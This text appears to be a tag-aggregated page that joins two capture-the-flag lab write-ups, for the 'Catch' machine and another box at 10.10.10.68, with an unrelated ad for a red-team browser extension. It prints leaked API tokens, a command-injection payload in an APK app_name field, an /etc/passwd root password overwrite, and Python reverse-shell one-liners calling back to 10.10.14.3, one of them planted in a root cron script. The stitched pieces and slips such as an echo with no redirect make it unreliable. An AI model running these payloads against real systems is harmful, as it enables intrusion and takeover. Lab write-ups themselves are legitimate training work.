#reverse shell

So over the last few weeks I've been working on Catch. With work and the festive period I haven't had a lot of time; I finally got the opportunity to finish it last night. :)

It has a medium rating but I wouldn't say it's due to the initial foothold and privilege escalation being difficult- it's more due to there being a couple of rabbit holes (all of which I fell into for a period!)

Enumeration

As always, a port scan kicks off the process. Unfortunately I can't show the output of the port scan as during the time I switched laptops and I'm too lazy to power my old one on. xD However, the results were roughly as follows:

Port 80: HTTP (Catch Global Systems main page)

Port 3000: Gitea(?)

Port 5000: Lets Chat(?)

Port 8000: Cachet status page system

Port 80 was the first location I checked. You're greeted with what appears to be Catch's main application:

The signup/login functionality isn't present; I did notice the ability to download a file. The file that downloads is an apk.

For those that are unfamiliar with mobile applications, apk is one of the file formats for an Android mobile application which uses XML and Java. Having a little experience with mobile applications, my first thought was to decompile the apk and check for any hidden hardcoded secrets, usually stored in strings.xml.

To decompile the apk, I used apktool.

$ apktool d catchv1.0.apk

This decompiles the apk to near it's original form and places the resulting files in ./catchv1.0/. From here, I viewed ./res/values/strings.xml and found 3 potentially usable tokens for other applications:

$ grep token catchv1.0/res/values/strings.xml <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string> <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string> <string name="slack_token">xoxp-23984754863-2348975623103</string>

Foothold

With these in hand, I started with Lets Chat at random. Lets Chat is an open-source chat application utilizing a REST api. With it being open-source, it didn't take long at all to find how to use the discovered token:

As you can see, a password for John is viewable in one of the chat rooms. This grants you access to another one of their applications called Cachet- open-source yet again.

Cachet is the last stop before system access; admittedly this is where I fell rabbit hole 1 as I did spend some time trying to use the gitea_token, more out of curiosity than anything. After spending some time on this, however, I gave up and focused on Cachet.

As it turns out, the version of Cachet in use had two pubicly known vulnerabilities related to interaction with the application's dotenv file. One allowed you to leak values set in dotenv while the other allowed you to add new values to dotenv which could be used to achieve remote command execution. This is done by hosting a redis server, altering the dotenv file to make the application use your hosted redis server as a session driver and finally changing the value of the session key after the initial connection to a payload generated by phpggc. Better detail off this is given here.

I did spend some time playing around with the RCE vulnerability here, more out of interest as I haven't had any experience with Redis prior to this and it took me a while to get RCE working as the video doesn't explicitly show the process step-by-step.

Originally, I was getting the token from the source code in the application, adding this as a key with the phpggc payload as the value and then altering the dotenv file to connect to my Redis Server. As the RCE occurs when the client connects the second time and reads the value from the original session token, this didn't work.

I did eventually get this working, uploaded a PHP web shell and upgraded this to a reverse shell; this ultimately proved to be a waste of time as you end up in a Docker instance with no ability to break out of it!

With a heavy heart, I turned to the second vulnerability and leaked the database password from the dotenv file. This grants us access to the server through SSH as WIll.

Privilege Escalation

Privilege escalation was actually quite easy! Some simple enumeration reveals the presence of world-writeable directory /opt/mdm/apk_bin. In /opt/mdm, there is a Bash file verify.sh.

verify.sh is used to verify the legitimacy of apks uploaded to apk_bin and is executed as part of a cronjob which is executed as root. While references to verify.sh cannot be directly found, there is reference to 'check.sh' in the root directory in running processes (netstat -ano.)

The interesting lines of the script are here:

app_check() { APP_NAME=$(grep -oPm1 "(?<=string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml") echo $APP_NAME ...

The function app_check is taking the app_name from strings.xml and echoing it back with no form of mitigation against command injection. For example, wrapping the variable name with ${} would have prevented this vulnerability being exploitable as this would have specified that only variable expansion was expected- the app name would have been echoed back as a string and not interpreted as a literal Bash command.

I tested this first by simply making the app name 'Catch; touch /opt/mdm/heuheu' and uploading it using python -m SimpleHTTPServer on my end and curl on Catch's end which achieved the expected outcome.

I did this with APK Editor Studio after encountering some errors trying do manually decompile and then recompile with apktool. Note that you also need to create a key for signing the APK as verify.sh uses jarsigner to verify this.

will@catch:/opt/mdm/apk_bin$ ls -al .. total 16 drwxr-x--x+ 3 root root 4096 Jan 6 21:55 . drwxr-xr-x 4 root root 4096 Dec 16 2021 .. drwxrwx--x+ 2 root root 4096 Jan 6 22:03 apk_bin -rw-r--r-- 1 root root 0 Jan 6 21:55 heuheu -rwxr-x--x+ 1 root root 1894 Mar 3 2022 verify.sh

From here, I went old school and just made /etc/passwd fully accessible by everyone before changing root's password to 'mwaha'

Generating the password:

$ openssl passwd mwaha KW56XEY7wxZuU

Where the password is added in /etc/passwd:

root:KW56XEY7wxZuU:...

Hack-Tools v0.3.0 - The All-In-One Red Team Extension For Web Pentester #AllInOne #ChromeExtension #cybersecurity

The all-in-one Red Team browser extension for Web Pentesters HackTools, is a web extension facilitating your web application penetration tests, it includes cheat sheets as well as all the tools used during a test such as XSS payloads, Reverse shells and much more. With the extension you no longer need to search for payloads in different websites or in your local storage space, most of the tools…

---------------------------------------------- Reconnaissance - Open port enumeration - Directories and files enumeration

Shell upgrade

Privilege Escalation - Check for misconfigurations - Inject reverse-shell payload ----------------------------------------------

RECONAISSANCE

nmap scan Check for open ports; run the nmap scan. ** though flag options may vary, I’ve included -O (for OS), -sV (for service version), -Pn (to check for active machines with ping disabled), -sC (for script), and -sS (for stealth).

INPUT: sudo nmap -sSCV -O -Pn 10.10.10.68 | tee “nmapscan”

There is only one open port, port 80. Since port 80 is a http service, we should be able to open up the web-server application from our browser and view the site. Moreover, since http is an unencrypted web server, we might be able to find some information from the site’s source code.

Gobuster Run a gobuster scan to enumerate web directories/files. ** I’ve run gobuster with the common.txt file (in /usr/share/wordlists/dirb/)

INPUT: gobuster dir -u http://10.10.10.68-w /usr/share/wordlists/dirb/common.txt | tee gobuster

There is only one network status 200, and a couple of redirects. Immediately we might notice some common directories like “css”, “images”, and fonts”, but the information also tells us that the site utilizes “php” and has an open “dev” directory for us to view.

We can also confirm this when we view the web page; looking through the blog post on the site, we can see that the user “Arrexel” says he has been using phpbash “on this exact server”. Perhaps the phpbash file is within the “dev” for developer directory?

Web page

*** before checking the “dev” directory, I was also looking for any information that might lead us to an exploit. Though unsuccessful, the site’s Content Management System (CMS) information and a page where we might be able to upload a Remote File Inclusion (RFI) or get to a Local File Inclusion (LFI) was worth examining.

Web page - /dev/ We’ve found the “developers” page and it is unrestricted. This is a serious security misconfiguration, as the open shell gives access to the web-server for anyone. Since Arrexel stated in his blog post that he uses the phpbash for pentesting on this very site, we might expect some additional vulnerabilities once in the server.

UPGRADING SHELL

Although we have our initial foothold into the server, the bash shell may be limiting and buggy; there might be frequent freezes or crashes, and we might not be able to control tab complete. Let’s upgrade our shell; we can accomplish this by launching a reverse shell payload from our target’s machine, and set up a listener from our attack machine to catch the signal.

*** I initially tried a php reverse shell and was unsuccessful; I tried the python reverse shell next, and that worked;

*** Don’t forget to set the ip address to your attacker’s, vpn (often labeled as “tun0” from ifconfig)

(from target’s shell) INPUT: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(from attacker’s terminal) INPUT: netcat -nlvkp 1234

We’re connected. Next, upgrade to a tty shell.

INPUT: python -c 'import pty; pty.spawn("/bin/bash")'

User flag Now that we have our own shell, let’s search for the user flag. After searching through the home/arrexel/ directory, we find our user.txt and open it to find the flag .

PRIVILEGE ESCALATION

Recon The last step is escalating our privilege to root. But before doing so, we’ll need more information about the server. We can check for any security misconfigurations like: - finding sudo permissions to run commands for any other users besides root - look up any files configured to setuid permissions - enumerate system services and kernel information - enumerate user information (checking /etc/passwd or /etc/shadow files), etc.

During this process we’ll notice the following information. Our current user can run any commands as the script manager without a password.

INPUT: sudo -l

Additionally, after checking the directories and files, I notice that there is a directory called “scripts”, where the user scriptmanager has read/write/execute permissions. When we initially try to view this directory as www-data, we will get a permission denied.

User, scriptmanager To view the scripts directory, let’s switch to the user, scriptmanager. As scriptmanager, we should be able to view the scripts directory.

INPUT: sudo -u scriptmanager /bin/bash

When we view the test.py file, we’ll notice something interesting. The script of the test.py file, opens and writes to the test.txt file.

Furthermore, when we ls -lh the test.txt file, we’ll notice that the file’s timestamp is fairly recent.

If our theory is correct, the test.txt is running a cron job from  the test.py file, which means we should be able to edit the test.py file, and run it as the root user.

Hence, we’ll edit the test.py file and include another reverse shell; only this time, since the cron job is referring the test.txt file as root, we should be able to listen in and receive a root shell.

(from target’s shell) INPUT: echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(from kali terminal) INPUT: netcat -nlvkp 4321

And… we are ROOT!

Find root flag Finally, search for the root flag; this will be found in /root/root.txt